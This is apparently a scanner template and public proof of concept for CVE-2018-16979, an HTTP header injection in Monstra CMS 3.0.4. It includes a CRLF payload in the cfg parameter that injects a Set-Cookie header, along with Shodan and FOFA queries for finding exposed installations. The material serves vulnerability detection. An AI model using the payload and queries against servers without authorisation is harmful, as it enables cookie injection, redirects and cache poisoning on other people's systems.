Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943.
PoC代码[已公开]
id: CVE-2018-16979
info:
name: Monstra CMS 3.0.4 - HTTP Header Injection
author: 0x_Akoko
severity: medium
description: |
Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943.
impact: |
This vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and remote code execution (RCE).
remediation: |
Upgrade Monstra CMS to version 3.0.5 or later to mitigate the HTTP Header Injection vulnerability.
reference:
- https://github.com/howchen/howchen/issues/4
- https://nvd.nist.gov/vuln/detail/CVE-2018-16979
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-16979
cwe-id: CWE-113
epss-score: 0.19962
epss-percentile: 0.95278
cpe: cpe:2.3:a:monstra:monstra:3.0.4:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: monstra
product: monstra
shodan-query: http.favicon.hash:419828698
fofa-query: icon_hash=419828698
tags: cve2018,cve,crlf,mostra,mostracms,cms,monstra,xss
http:
- method: GET
path:
- "{{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'new line detected in'
- 'cryptographp.php'
condition: and
- type: status
status:
- 200
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